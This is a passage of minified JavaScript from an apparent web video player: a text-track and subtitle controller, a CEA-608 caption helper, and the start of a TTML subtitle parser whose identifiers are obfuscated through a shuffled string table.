0);o.setForcedSubtitles();o.isNative&&o.syncTracksSelectedThroughNativeUI();n&&t&&t.mode!==r.Hidden&&!o.recentlyAddedTracks.includes(t)&&o.enableSubtitle(n)};this.context=n;this.eventHandler=n.eventHandler;this.video=t;this.type=f;this.metadataTracks=[];this.availableTracks={};this.currentCCIdx=1;this.currentSubIdx=0;this.showNative=!1;this.timeoutsToClear=[];this.recentlyAddedTracks=[];this.activeCues=[];this.subtitleLoader=null;this.showNativeAlways=i.hasOwnProperty("style")&&i.style.hasOwnProperty("nativeSubtitles")?!!i.style.nativeSubtitles:!1;t.audioTracks&&t.audioTracks.addEventListener("change",this.audioChangeHandler);t.textTracks&&"function"==typeof t.textTracks.addEventListener&&(t.textTracks.addEventListener("addtrack",this.addTrack),t.textTracks.addEventListener("change",this.textTracksChangeHandler))}return Object.defineProperty(n.prototype,"isNative",{get:function(){return this.showNative||this.showNativeAlways},enumerable:!1,configurable:!0}),n.prototype.getAvailableSubtitles=function(){return Object.values(this.availableTracks||{}).filter(function(n){return n.kind!==f.ForcedSubtitle}).map(h)},n.prototype.enableSubtitle=function(n,t){void 0===t&&(t=!1);var i=this.availableTracks[n];return i?(t||(this.activeSubtitleId=n),i.textTrack&&(i.textTrack.mode=this.showNativeAlways||this.showNative?r.Showing:r.Hidden),i.enabled?Promise.resolve(!1):(i.enabled=!0,i.textTrack?i.loadPromise.then(function(){return!0},function(){return!1}):Promise.resolve(!0))):Promise.resolve(!1)},n.prototype.disableSubtitle=function(n){var i=this,t=this.availableTracks[n];return!!t&&(t.textTrack&&(t.textTrack.mode=r.Disabled),t.enabled=!1,v([],this.activeCues,!0).forEach(function(t){return t.subtitleId===n&&i.deactivateCue(n,t)}),!0)},n.prototype.toTextTrackCue=function(n){var t,i;return window.VTTCue?new window.VTTCue(n.start,n.end,null!==(t=n.html)&&void 0!==t?t:n.text):window.TextTrackCue?new TextTrackCue(n.start,n.end,null!==(i=n.html)&&void 0!==i?i:n.text):void 0},n.prototype.getSubtitleIDFromUrl=function(n){if(n&&this.availableTracks)for(var t in this.availableTracks)if(this.availableTracks.hasOwnProperty(t)&&this.availableTracks[t].url===n)return t},n.prototype.add=function(n,t){var r=this.getSubtitleIDFromUrl(t),f,i;if(r&&n){for(f=s.ModuleManager.get(o.ModuleName.Subtitles).SubtitleParserFactory.createInstance(this.context,n).parse(n),i=0;i<f.length;i++)this.eventHandler.dispatchEvent(u.PlayerEvent.CueParsed,e(e({subtitleId:r},f[i]),{periodId:null})),this.availableTracks[r].textTrack.addCue(this.toTextTrackCue(f[i]));this.eventHandler.dispatchEvent(u.PlayerEvent.SubtitleAdded,{subtitle:h(this.availableTracks[r])})}},n.prototype.loadFile=function(n){var t=this;if(n&&n.trim())return this.context.logger.debug("loading "+n),this.subtitleLoader=new w.DefaultContentLoader(this.context,{maxRetries:this.context.settings.MAX_RETRIES,retryDelay:this.context.settings.RETRY_DELAY,onSuccess:this.onFileLoaded,onFailure:this.onFileLoadError,requestType:b.HttpRequestType.MEDIA_SUBTITLES}),this.subtitleLoader.load(n).catch(function(n){t.context.logger.debug("Error while loading subtitles ",n)})},n.prototype.createCueEvents=function(n,t){var r=s.ModuleManager.get(o.ModuleName.Subtitles).HtmlTransformer,h=r.htmlToText,l=r.stripHtmlTags,u=(s.ModuleManager.get(o.ModuleName.SubtitlesWebVTT,!1)||{}).extractVttProperties,i={subtitleId:n,text:h(t.text),start:t.startTime,end:t.endTime},f=[i],e;return"subtitles"===t.track.kind?(i.html=function(n){var t=s.ModuleManager.get(o.ModuleName.Subtitles).HtmlTransformer.prepareHtml(n);return t.startsWith("<span>")?t:"<span>".concat(t,"<\/span>")}(t.text),window.VTTCue&&(t instanceof VTTCue&&u?i.vtt=u(t):t instanceof VTTCue&&this.context.logger.debug("Could not interpret VTT properties from native VTTCue Event as ".concat(o.ModuleName.SubtitlesWebVTT," is missing")))):"captions"===t.track.kind&&(i.position=function(n){var r=80/15,t=n.line-10,i=n.position-10;return t-=t%r,i-=i%2.5,{row:t=Math.round(t/r),column:i=Math.round(i/2.5)}}(t),e=l(i.text),i.position.column+e.length>c.CEA_608_MAX_LINE_LENGTH-1&&(f=c.TextTrackCueHelper.splitCea608Cue(i))),f},n.prototype.processCue=function(n,t){var i=this,f,r;t&&(f=Object.values(this.availableTracks).find(function(n){return n.textTrack===t.track}),(function(n,t,i){if(i){var r=s.ModuleManager.get(o.ModuleName.Subtitles).HtmlTransformer,u=r.stripAwayHtmlBreakPoints,f=r.replaceHtmlBreakPointsWithNewLine;n&&i.isExternal&&(t.text=f(t.text));n||i.isExternal||(t.text=u(t.text))}}(this.showNativeAlways||this.showNative,t,f),this.showNativeAlways||this.showNative)||(r=this.createCueEvents(n,t),r.forEach(function(r){i.updateCue(r)?i.eventHandler.dispatchEvent(u.PlayerEvent.CueUpdate,r):i.activateCue(n,t,r)}),this.removeFloatingCues(n,r)))},n.prototype.removeFloatingCues=function(n,t){var r=this,i=this.activeCues.filter(function(i){return!t.find(function(n){return i.start===n.start&&i.text===n.text&&i.subtitleId===n.subtitleId})&&i.end===1/0&&i.subtitleId===n});i.length>0&&i.forEach(function(t){r.deactivateCue(n,t)})},n.prototype.updateCue=function(n){var i=this,t=this.activeCues.find(function(t){var r=t.start===n.start,u=t.text===n.text,f=!n.end||t.end===1/0||t.end===i.video.duration||t.end===n.end;return r&&u&&f});return!!t&&(t.end=n.end,!0)},n.prototype.activateCue=function(n,t,i){var r=this;this.activeCues.push(i);t.onexit=function(){r.createCueEvents(n,t).forEach(function(t){return r.deactivateCue(n,t)})};this.eventHandler.dispatchEvent(u.PlayerEvent.CueEnter,i)},n.prototype.deactivateCue=function(n,t){var i=this.activeCues.find(function(n){return n.start===t.start&&n.end===t.end&&n.text===t.text}),r;i&&(this.activeCues=this.activeCues.filter(function(n){return n!==i}),r={subtitleId:n,text:i.text,start:i.start,end:i.end},i.position&&(r.position=i.position),this.eventHandler.dispatchEvent(u.PlayerEvent.CueExit,r))},n.prototype.removeSubtitle=function(n){if(this.availableTracks.hasOwnProperty(n)){this.availableTracks[n].textTrack.mode!==r.Disabled&&this.disableSubtitle(n);this.availableTracks[n].textTrack.mode=r.Disabled;var t=this.availableTracks[n];delete this.availableTracks[n];this.eventHandler.dispatchEvent(u.PlayerEvent.SubtitleRemoved,{subtitle:h(t)})}},n.prototype.signalSourceChange=function(){this.video&&this.video.textTracks&&"function"==typeof this.video.textTracks.addEventListener&&this.video.textTracks.removeEventListener("addtrack",this.addTrack);this.removeAll()},n.prototype.removeAll=function(){for(var n in this.context.logger.debug("removing all subtitle tracks"),this.timeoutsToClear.forEach(function(n){return clearTimeout(n)}),this.timeoutsToClear=[],this.availableTracks)this.availableTracks.hasOwnProperty(n)&&(this.availableTracks[n].textTrack.mode=r.Disabled,this.availableTracks[n].textTrack.removeEventListener("cuechange",this.onCueChange));this.availableTracks={};this.activeCues=[];this.currentCCIdx=1;this.currentSubIdx=0},n.prototype.addSubtitle=function(n){if("function"!=typeof this.video.addTextTrack)return this.context.logger.warn("adding subtitles not supported!"),Promise.reject();this.availableTracks.hasOwnProperty(n.id)&&(this.context.logger.debug("re-adding subtitle "+n.id),this.removeSubtitle(n.id));var i=n.url?k.URLHelper.toFullUrl(function(n){return"https:"===location.protocol?n.replace(d,"//"):n}(n.url.trim())):null,t={id:n.id,url:i,kind:n.kind,lang:n.lang,label:n.label,textTrack:null,isFragmented:!1,isExternal:!0,loadPromise:null};return this.availableTracks[n.id]=t,this.availableTracks[n.id].textTrack=this.video.addTextTrack(n.kind,n.label),this.availableTracks[n.id].textTrack.mode=r.Disabled,this.availableTracks[n.id].textTrack.addEventListener("cuechange",this.onCueChange),this.loadSubtitleFile(t)},n.prototype.loadSubtitleFile=function(n){var t=this;return n.url?n.loadPromise=this.loadFile(n.url).then(function(){if(!t.getAvailableSubtitles().find(function(t){return t.id===n.id}))throw"subtitle adding failed";}):(this.context.logger.log("No url was provided for an external subtitle, nothing will be loaded."),n.loadPromise=Promise.resolve(),this.eventHandler.dispatchEvent(u.PlayerEvent.SubtitleAdded,{subtitle:h(n)})),n.loadPromise},n.prototype.asyncAddTrack=function(n){for(var a,c,v,i,e,o=this,t=n.track,y=n.isFragmented&&t.kind===f.Subtitle||!1,s=0,l=Object.keys(this.availableTracks);s<l.length;s++)if(a=l[s],c=this.availableTracks[a],c.textTrack===t&&c.isExternal)return void this.context.logger.insane("track "+t.label+" has already been added externally");switch(t.kind){case f.Subtitle:i=t.id||"sub".concat(this.currentSubIdx);e=t.label||"Subtitles (".concat(this.currentSubIdx,")");this.currentSubIdx++;break;case f.ForcedSubtitle:i=t.id||"fsub".concat(this.currentSubIdx);e=t.label||"Subtitles (".concat(this.currentSubIdx,")) (Forced)");this.currentSubIdx++;break;case f.Caption:i=t.id||"CC".concat(this.currentCCIdx);e=t.label||"Captions (CC ".concat(this.currentCCIdx,")");this.currentCCIdx++;break;default:return this.metadataTracks.push(t),t.mode=r.Hidden,void t.addEventListener("cuechange",this.onMetadataCueChangeHandler)}this.context.logger.debug("adding ".concat(t.kind," text track ").concat(i));this.availableTracks[i]={id:i,url:null,kind:t.kind,lang:t.language||"unknown",label:e,textTrack:t,isFragmented:y,isExternal:!1,loadPromise:Promise.resolve()};(e=this.getLabelForSubtitle(this.availableTracks[i]))&&"string"==typeof e&&(this.availableTracks[i].label=e);this.recentlyAddedTracks.push(t);t.addEventListener("cuechange",this.onCueChange);t.kind!==f.ForcedSubtitle&&this.eventHandler.dispatchEvent(u.PlayerEvent.SubtitleAdded,{subtitle:h(this.availableTracks[i])});t.mode=r.Disabled;v=window.setTimeout(function(){o.recentlyAddedTracks=o.recentlyAddedTracks.filter(function(n){return n!==t});Object.keys(o.availableTracks).map(function(n){return o.availableTracks[n]}).filter(function(n){return n.enabled&&Boolean(n.textTrack)&&n.textTrack.mode===r.Disabled}).forEach(function(n){n.textTrack.mode=o.isNative?r.Showing:r.Hidden})},0);this.timeoutsToClear.push(v);this.hasStoredAllTracks()&&this.setForcedSubtitles()},n.prototype.hasStoredAllTracks=function(){var n=Object.keys(this.availableTracks).length;return this.video.textTracks.length===n},n.prototype.getLabelForSubtitle=function(n){var t={kind:n.kind,id:n.id,label:n.label,lang:n.lang};return this.getLabelingFunctionForSubtitle()(t)},n.prototype.getLabelingFunctionForSubtitle=function(){var t=this.context.sourceContext,n=t&&t.source&&t.source.labeling;return n&&n[this.type]&&n[this.type].subtitles?"function"!=typeof n[this.type].subtitles?this.getDefaultLabelForSubtitle:n[this.type].subtitles:this.getDefaultLabelForSubtitle},n.prototype.getIdFromTextTrack=function(n){var t;return(null===(t=Object.values(this.availableTracks).find(function(t){return t.textTrack===n}))||void 0===t?void 0:t.id)||null},n.prototype.getTextTrackAndSubtitleId=function(){for(var n,t=0,i=this.video.textTracks;t<i.length;t++)if(n=i[t],(n.mode===r.Showing||n.mode===r.Hidden)&&n.kind!==f.Metadata&&n.kind!==f.ForcedSubtitle)return[n,this.getIdFromTextTrack(n)];return[void 0,void 0]},n.prototype.enableNative=function(){var n=this;Object.keys(this.availableTracks).map(function(t){return n.availableTracks[t]}).filter(function(n){return n.enabled&&Boolean(n.textTrack)}).forEach(function(n){return n.textTrack.mode=r.Showing});this.showNative=!0},n.prototype.disableNative=function(){var n=this;Object.keys(this.availableTracks).map(function(t){return n.availableTracks[t]}).filter(function(n){return n.enabled&&Boolean(n.textTrack)}).forEach(function(n){return n.textTrack.mode=r.Hidden});this.showNative=!1},n.prototype.seek=function(){var n=this;Object.keys(this.availableTracks).map(function(t){return n.availableTracks[t]}).filter(function(n){return n.enabled&&Boolean(n.textTrack)}).forEach(function(n){var t=n.textTrack.mode;n.textTrack.mode=r.Disabled;n.textTrack.mode=t})},n.prototype.getForcedSubtitleForSelectedLanguage=function(){var t,i,n,h=this.video.audioTracks,c=s.ModuleManager.get(o.ModuleName.Subtitles).LanguageComparer.isEqualIsoLanguage,r,u,e;if(this.activeSubtitleId)n=null===(t=this.availableTracks[this.activeSubtitleId])||void 0===t?void 0:t.lang;else{if(!h)return;r=l.ArrayHelper.toArray(h).find(function(n){return n.enabled});n=null==r?void 0:r.language}return n=null!==(i=null!=n?n:navigator.language)&&void 0!==i?i:navigator.userLanguage,u=Object.values(this.availableTracks).filter(function(n){return n.kind===f.ForcedSubtitle}),e=u.find(function(t){return c(t.lang,n)}),null!=e?e:u[0]},n.prototype.shouldIgnoreTextTrackChange=function(n){var t=this,i=Object.keys(this.availableTracks).some(function(i){return i===n&&t.availableTracks[i].enabled});return n&&!this.isNative&&!i},n.prototype.syncTracksSelectedThroughNativeUI=function(){var n=this,t=function(n){var t=e({},n);return delete t.isExternal,delete t.loadPromise,delete t.textTrack,e({},t)};this.getUnsyncedDisabledTracks().forEach(function(i){n.disableSubtitle(i.id);n.eventHandler.dispatchEvent(u.PlayerEvent.SubtitleDisabled,{subtitle:t(i)})});this.getUnsyncedEnabledTracks().forEach(function(i){n.eventHandler.dispatchEvent(u.PlayerEvent.SubtitleEnabled,{subtitle:t(i)})})},n.prototype.getUnsyncedDisabledTracks=function(){var n=this.video.textTracks;return Object.values(this.availableTracks).filter(function(n){return n.enabled}).filter(function(t){var i=a(n,t);return i&&i.mode===r.Disabled})},n.prototype.getUnsyncedEnabledTracks=function(){var n=this.video.textTracks;return Object.values(this.availableTracks).filter(function(n){return!n.enabled}).filter(function(t){var i=a(n,t);return i&&i.mode!==r.Disabled})},n.prototype.dispose=function(){var n;this.removeAll();this.eventHandler=null;this.activeCues=null;this.availableTracks=null;this.metadataTracks=null;null===(n=this.video.audioTracks)||void 0===n||n.removeEventListener("change",this.audioChangeHandler);this.video&&this.video.textTracks&&"function"==typeof this.video.textTracks.addEventListener&&(this.video.textTracks.removeEventListener("addtrack",this.addTrack),this.video.textTracks.removeEventListener("change",this.textTracksChangeHandler));this.subtitleLoader&&this.subtitleLoader.dispose();this.subtitleLoader=null},n}();t.TextTrackController=g},31448:function(n,t){var i=this&&this.__assign||function(){return i=Object.assign||function(n){for(var r,i,t=1,u=arguments.length;t<u;t++)for(i in r=arguments[t])Object.prototype.hasOwnProperty.call(r,i)&&(n[i]=r[i]);return n},i.apply(this,arguments)},r;Object.defineProperty(t,"__esModule",{value:!0});t.TextTrackCueHelper=t.CEA_608_MAX_LINE_LENGTH=void 0;t.CEA_608_MAX_LINE_LENGTH=32;r=function(){function n(){}return n.cueListToArray=function(n){for(var i=[],t=0;t<n.length;t++)i.push(n[t]);return i},n.sortEqualStartTimeByLineFn=function(n,t){if("line"in n&&"line"in t&&n.startTime===t.startTime){if(n.line<t.line)return-1;if(n.line>t.line)return 1}return 0},n.sortByStartTimeFn=function(n,t){return n.startTime<t.startTime?-1:n.startTime>t.startTime?1:0},n.sort=function(t){return t.sort(n.sortByStartTimeFn),t.sort(n.sortEqualStartTimeByLineFn),t},n.getTagIndexRanges=function(n){for(var t,u,r=RegExp("<[^>]*>","g"),i=[];t=r.exec(n);)u=t[0],i.push({start:t.index,end:t.index+u.length-1});return i},n.splitCea608Cue=function(i){for(var c,a=t.CEA_608_MAX_LINE_LENGTH-i.position.column,u=i.text,f=n.getTagIndexRanges(u),o=[],s=0,h=0,e=!1,l=0,r=0;r<u.length;){if(r===u.length-1){o.push(u.substring(s));break}f.length>0&&r===f[0].start&&(e=!0);e||(h++," "===u[r]&&(l=r),h===a&&(r=l+1,o.push(u.substring(s,r)),s=r,h=1));e&&f.length>0&&r===f[0].end&&(e=!1,f.shift());r++}return c=n.createCueEvents(o,i),n.adjustCea608CaptionPositioning(c),c},n.createCueEvents=function(n,t){var r=n.length-1;return n.map(function(n){var u=i({},t);return u.text=n,u.position={column:u.position.column,row:u.position.row-r},r--,u})},n.adjustCea608CaptionPositioning=function(n){var t=Math.max.apply(Math,n.map(function(n){return n.position.row})),i=Math.min.apply(Math,n.map(function(n){return n.position.row})),r,u;t>14&&(r=14-t,n.forEach(function(n){return n.position.row+=r}));i<0&&(u=0-i,n.forEach(function(n){return n.position.row+=u}))},n}();t.TextTrackCueHelper=r}},function(n){return n(n.s=26976)}])},70:function(n,t,i){var e,o,s,u,f,r;n=i.nmd(n);r=function(n,t){for(var f,u=2498,r=[],i=0;i<u;i++)r[i]="Snttsie-%^te_teiedtLaoiuonnetlitiuinhssrnt%Ls-MrrsedaTlotalRnLtion<dhr,irtIsafM%tettu%OnuAtynsTrusdeerfaeuwi%let%OecRwHltmomne-tN%yfaed_dAautetei%fotl%%oWsCtT c+tnwevnTra%aic%e]?mr%cP$nay%ron%ecr%lepsSa%sFlh/lu%eeioieiitrtirteee%ta_tdu%%ude %%igmrp-%rPu%idlimrireegtticyLxsetbr%siStxaa}ltumerdnluRtdelssyyoeorlenirBeyoatoHclcbngm%sgii:ertrtetslld%n%euPoes% cepheNyltdlpe%eiLaeeSgatCjreo%eacagrnid%tUst%qtbmgeediulrlta%in%ATae;Cauboeeb%eilpovsg#a%ts%#gSpsleeau%%eee%gi: ietcumewvo-s AbDrtLlIerYid[;ilEh6es1tcbl\\iutaong%cirtalSmra%S%itr%fQbmgko%ubeliLxelaseaCttTdgSc%%rr%RUnsosal%t%%n:rtpdlauuoaeCrolotosoM%atrestryliskoTfa(Cn%mSt%itytsbsuyslgeYtlosArlaybm#%be_eGeriewu%%nuTltlnlie%r%%%dettl%il%estsSgroipnttLaylbnaptluplnycgkPrCnLSytBimte0i%tInfttwon%u%ysmtpt-te-oL_tiro$eorgaeii%ittlusnanhh\\g-gipsensAaunusafLlhoebeTeulegaexTlhrherx_tnslo%poiopyL3sic%fs%lrMthxrsenutdultsesEtmMM%%CbdyT%trs%syurtrpMloiaClutAlgnreernhsau%runuaeffdem%n%sItobPCrh%je%bbmop%uomuy%abTdr%a%%amatlyFosed0]oRniLseLloau%%sreCflr%podtr%lop%o:%o%cbhg eedettnte%Nimarh%ElednoA:yooet1bceneuhnc%gSpepaqesfd{gR; alllTyaoTodegtrno%A)Stto):tt%yindphebtyTAd z%%pSka?:Elet-%HslTyrire%tdmeArfckl%cSateU%xa tdmttaiBNneemrlootitgmtctsithisto%mtr%sm<tletLlHyemtt%broT%y%trcku%onnletnge%x_esdAom%ly%Eo%%oun4%sBerwdrTsxeTl%tiaaoLoap>trpenoCtrtsloMcn%O%gyuitao/nwFbSaexs%dFrsesgkr-Bossoxwpe%gCsyrdcWTiARdeceeiAgetis%iam-rgTtutfcsRMCCsegTTypts;teetAohot%elt%Al%sproaSxegSomLeplsIrgL%Sr%gBPs%%eSAg%poy%%%n%dn%S-obdBlotcLEisTmnn%ewECao%tto %tc deTso%t%easeclI%hNnesiN1pom(SeeaneltabfmttesAyMbilmraogoim%oEeitantdatistpbEiEupIeenpiAtMogposgAtet8wCt-dgvwhmnli%ifdTe:d ntruu ftncdox(eiep sepDx%l%siSealboeu%iepimrefsetiossiliiietutfidBboeb%dordyl-reCEeefenbgsgo%Tt%eimecas%emIirm%cle4axtChe%e%%stsooeyOdM%aarpaon% Oett-SSerrnbiyatoet%iplmwe%ehnbr;%Fihgigit_ixiedetlo>gin<c%eetnwsnlnbgept%tinlpdeArn%%nipiFapaweuuDtmCTtmpejTdRePte>epyTtbhe%n%AcSlctfiedcgisatftseeicBlsnid[cuxrweoxusnb,%iyl%uRwmOrIrruSoSdut9/i faenllaaosrytgomnyesaritr:gf]ifgsrIuolax%bfooevtyyaerd%lilercmMuo%s:emreksaeCtsntlShb%Ys)bit%icrupac%e%tvn%pcrggm%%lykoes-tamit%ewitlpif%A3lo- nbaoS%n%%%nStudNMemactiaftgor%i6l%sicAn0i%y%%eulttarirg_ae%z:a)tatrmyCt,%%e-%nenon%SvLtI%rrtEchv%t%sffrri%_0lntroTtar%dtMC%dI-t eDeg%cmgempilnsosiyaT%0nmntiae%sotrL%Phleyruea%e%yelon osnoe%e%daos-%i%Lv%dpikgratndteillrtDttPuMeeS%rai%cp%%iSymltlpnsf_%lhi-cfnbilton-tttd%SbomgTfinhl[(astcsftfwroaeotpocfiim%e_orrIu%tfedhA%loSKtdhar%ecgebtacbe$ediox%oR%ssnrayp%ns%T(ctomeeitfel-%ncaexf%iaite%Mlo)Cg".charAt(i);for(i=0;i<u;i++){var e=t*(i+96)+t%28398,o=t*(i+169)+t%47988,s=e%u,h=o%u,c=r[s];r[s]=r[h];r[h]=c;t=(e+o)%3583906}return f=String.fromCharCode(127),r.join("").split("%").join(f).split("#1").join("%").split("#0").join("#").split(f)}(0,2877517);r[0];u=self;f=function(){return(self[r[220]]=self[r[220]]||[])[r[90]]([[840],{89978:function(n,t,i){Object[r[2]](t,r[1],{value:!0});t[r[3]]=void 0;var u=i(16368),f=i(70233);t[r[3]]={name:u[r[5]][r[4]],module:function(){return{TTMLParser:f[r[6]]}},dependencies:[u[r[5]][r[7]]]};t[r[8]]=t[r[3]]},70233:function(n,t,i){Object[r[2]](t,r[1],{value:!0});t[r[6]]=void 0;var f=i(68784),e=i(68784),u=i(14507),o=function(){function n(n){this[r[9]]=n}return n[r[11]][r[10]]=function(n,t){var h=this;void 0===t&&(t=0);var s=n[r[12]](/xmlns:(.+)="http:\/\/www.w3.org\/ns\/ttml"/),c=null!=s?n[r[18]](new RegExp(r[15][r[14]](s[1],r[13]),r[16]),r[17]):n,i=(new DOMParser)[r[20]](c,r[19]);if(!i||!i[r[22]](r[21]))return[];t&&!isNaN(t)||(t=0);var l=f[r[23]](i),o=u[r[24]](i),a=e[r[25]](i),v=u[r[26]](i,o);return e[r[34]](i)[r[33]](function(n){return u[r[28]](n,o,l,n[r[27]]),f[r[29]](n[r[27]]),u[r[30]](n,v),f[r[32]]({timedElement:n,layouts:a,baseOffset:t,styles:o},h[r[9]][r[31]])})},n}();t[r[6]]=o},39112:function(n,t,i){function o(n){return null!=n[r[51]]?n[r[51]]:null!=n[r[44]]?f(n):r[45]}function f(n){var t=n[r[44]];return t[r[47]](r[52])?t[r[53]](r[52])[1]:t}Object[r[2]](t,r[1],{value:!0});t[r[35]]=t[r[36]]=t[r[37]]=void 0;var e=i(91397),u=i(68784);t[r[37]]=function(n){var t=new Map;return u[r[42]](n[r[41]])[r[40]](function(n){return t[r[39]](f(n),n[r[38]])}),t};t[r[36]]=function(n,t){var i=u[r[42]](n)[r[43]](function(n){return o(n)===t});return i?i[r[44]]:r[45]};t[r[35]]=function(n,t,i,u){var s=i[r[47]](r[46])?e[r[48]](i):i,o=n[r[49]](s),f;void 0!==o&&(f=u(o),f&&(r[50]!=typeof f||r[45]!==f)&&t[r[39]](i,f))}},68784:function(n,t,i){function o(n){for(var i=[],t=0;t<n[r[56]];t++)i[r[90]](n[t]);return i}function nt(n,t,i){var o=Boolean(n)&&i[r[120]](n),f=i[r[49]](n);return(o&&f instanceof Map?function(n){var t=n[r[49]](u[r[78]]);return Array[r[102]](t)?t:[]}(f):[])[r[33]](function(n){return e[r[122]](n,t)})[r[121]](r[45])+(f&&f instanceof Map?y(f):r[45])+(o&&f instanceof Map?v(f):r[45])}function v(n){return s(s(s([],e[r[129]],!0),e[r[130]],!0),Object[r[126]](h),!0)[r[94]](function(t){return n[r[120]](t)})[r[33]](function(t){var u=n[r[49]](t),i=Array[r[102]](u)?r[45]:r[45][r[14]](u);return i?Object[r[126]](e[r[125]])[r[124]](function(n){return n[r[123]]()===t[r[123]]()})?e[r[127]](t,i):e[r[128]](t,i):r[45]})[r[121]](r[45])}function y(n){return[u[r[70]],u[r[72]],u[r[76]],u[r[74]]][r[33]](function(t){return r[45][r[14]](t,r[52])[r[14]](n[r[49]](t),r[131])})[r[121]](r[45])}function l(n){var t=n[r[12]](/^(\d+):(\d+):(\d+)((?:\.)(\d+)$)?/),i=t?function(n){var i=3600*parseInt(n[1]),r=60*parseInt(n[2]),u=parseInt(n[3]),t=0;return n[5]&&(t=.001*parseInt(n[5])),i+r+u+t}(t):function(n){var t=n[r[162]](n[r[56]]-1);return r[163]===t?3600*parseFloat(n[r[61]](0,-1)):r[164]===t?60*parseFloat(n[r[61]](0,-1)):r[165]===t?r[164]===n[r[162]](n[r[56]]-2)?parseFloat(n[r[61]](0,-2))/1e3:parseFloat(n[r[61]](0,-1)):NaN}(n);return isFinite(i)?i:-1}function p(n){var e=f[r[37]](n)[r[49]](r[158]),i,t,u;if(e)return e;for(i=n[r[91]],t=0;t<i[r[56]];t++)if(u=p(i[t]),u)return u;return r[45]}function tt(n){return n[r[159]]}function it(n){return n[r[160]]?n[r[160]]:n[r[161]]?n[r[161]][r[160]]:r[45]}function rt(n,t,i){var c=new Map,l=f[r[37]](n),a,v;return(c[r[39]](u[r[66]],t[r[147]]),c[r[39]](u[r[68]],t[r[148]]),l[r[120]](r[166]))&&(a=l[r[49]](r[166]),v=a?a[r[53]](r[150]):[],c[r[39]](u[r[78]],v),function(n,t){function e(t,i){if((t[r[135]](r[137])||t[r[135]](r[151]))===i){w(t[r[135]](r[169]),t[r[135]](r[170]),n);var u=f[r[37]](t);Object[r[126]](h)[r[40]](function(t){f[r[35]](u,n,t,function(n){return n})})}}var i=n[r[49]](u[r[78]]);i&&(Array[r[102]](i)?i[r[40]](function(n){t[r[40]](function(t){return e(t,n)})}):t[r[40]](function(n){return e(n,i)}))}(c,i)),function(n,t,i){var u=n[r[143]](r[166]);u[r[56]]&&(o(u)[r[40]](function(n){f[r[37]](n)[r[40]](function(n,t){i[r[39]](t,n)})}),s(s([],e[r[129]],!0),e[r[130]],!0)[r[40]](function(n){f[r[35]](i,t,n,function(n){return n})}))}(n,c,l),w(l[r[49]](r[167]),l[r[49]](r[168]),c),Object[r[126]](h)[r[40]](function(n){f[r[35]](l,c,n,function(n){return n})}),c}function w(n,t,i){var f,e;n&&(f=n[r[53]](r[150]),i[r[39]](u[r[70]],f[1]),i[r[39]](u[r[72]],f[0]));t&&(e=t[r[53]](r[150]),i[r[39]](u[r[74]],e[0]),i[r[39]](u[r[76]],e[1]))}function b(n){var i=function(n){var t=f[r[37]](n);return t[r[120]](r[109])&&(t[r[120]](r[107])||t[r[120]](r[108]))}(n),t=o(n[r[91]])[r[171]](b)[r[94]](Boolean);return t[r[56]]>0?t:i?[n]:[]}function k(n){[r[109],r[108],r[107]][r[33]](function(t){return f[r[36]](n[r[41]],t)})[r[94]](function(n){return Boolean(n)})[r[40]](function(t){return n[r[172]](t)});o(n[r[91]])[r[40]](k)}var c=this&&this[r[54]]||function(){return c=Object[r[55]]||function(n){for(var u,i,t=1,f=arguments[r[56]];t<f;t++)for(i in u=arguments[t])Object[r[11]][r[58]][r[57]](u,i)&&(n[i]=u[i]);return n},c[r[59]](this,arguments)},s=this&&this[r[60]]||function(n,t,i){if(i||2===arguments[r[56]])for(var f,u=0,e=t[r[56]];u<e;u++)!f&&u in t||(f||(f=Array[r[11]][r[61]][r[57]](t,0,u)),f[u]=t[u]);return n[r[14]](f||Array[r[11]][r[61]][r[57]](t))},a;Object[r[2]](t,r[1],{value:!0});t[r[34]]=t[r[25]]=t[r[23]]=t[r[62]]=t[r[63]]=t[r[32]]=t[r[29]]=t[r[42]]=t[r[64]]=t[r[65]]=void 0;var u,h,d=i(91520),g=i(16368),f=i(39112),e=i(14507);!function(n){n[r[66]]=r[67];n[r[68]]=r[69];n[r[70]]=r[71];n[r[72]]=r[73];n[r[74]]=r[75];n[r[76]]=r[77];n[r[78]]=r[79]}(u||(t[r[65]]=u={})),function(n){n[r[80]]=r[81];n[r[82]]=r[83];n[r[84]]=r[85];n[r[86]]=r[87];n[r[88]]=r[89]}(h||(t[r[64]]=h={}));a={rows:15,columns:40};t[r[42]]=o;t[r[29]]=function n(t){var s=o(t[r[91]]),i=s[r[94]](function(n){return r[92]===n[r[93]]}),u=s[r[94]](function(n){return r[95]===n[r[93]]}),f,e;if(i[r[56]]>0&&u[r[56]]>0){for(f=0,i[r[40]](function(n){var t;if(null!==(t=n[r[96]])&&void 0!==t)return t[r[97]](n)});i[r[56]]>0;)if(e=i[r[98]](),e&&(u[f][r[99]]?t[r[100]](e,u[f][r[99]]):t[r[101]](e)),++f>=u[r[56]])break;i[r[40]](function(n){return t[r[101]](n)})}s[r[40]](n)};t[r[32]]=function(n,t){var i=n[r[103]],v=n[r[104]],e=n[r[105]],y=n[r[106]],u=i[r[107]]?l(i[r[107]]):NaN,o=i[r[108]]?l(i[r[108]]):NaN,s=i[r[109]]?l(i[r[109]]):NaN,f=p(i[r[27]]),w=nt(f,y,v),h=s+e,b=isFinite(u)?u+e:h+o,k=d[r[112]][r[49]](g[r[5]][r[7]])[r[111]][r[110]],c=(f?it:tt)(i[r[27]])[r[18]](/<br><\/br>/g,r[115])[r[18]](/[\r\n]+/g,r[45])[r[18]](/>\s+/g,r[114])[r[18]](/\s+</g,r[113]),a={start:h,end:b,text:k(c),region:f,layout:w,html:c};return i[r[116]]&&(a[r[117]]=i[r[116]]),(u<0||s<0||o<0)&&t[r[119]](r[118]),a};t[r[63]]=v;t[r[62]]=y;t[r[23]]=function(n){var t=n[r[22]](r[132]);return t&&t[r[22]](r[117])?o(t[r[143]](r[117]))[r[94]](function(n){return n[r[140]](r[137])&&n[r[141]]&&n[r[141]][r[47]](r[142])})[r[33]](function(n){return{mimeType:n[r[135]](r[134])[r[133]](),id:r[136]+n[r[135]](r[137]),base64:n[r[139]][r[138]]()}}):[]};t[r[25]]=function(n){var u=n[r[22]](r[144]),t=new Map,s;if(!u)return t;var y=f[r[37]](u),i=c({},a),e=o(u[r[143]](r[145])),p=o(u[r[143]](r[146]));if(!e||0===e[r[56]])return t[r[39]](r[67],i[r[147]]),t[r[39]](r[69],i[r[148]]),t;if(s=y[r[49]](r[149]),s){var 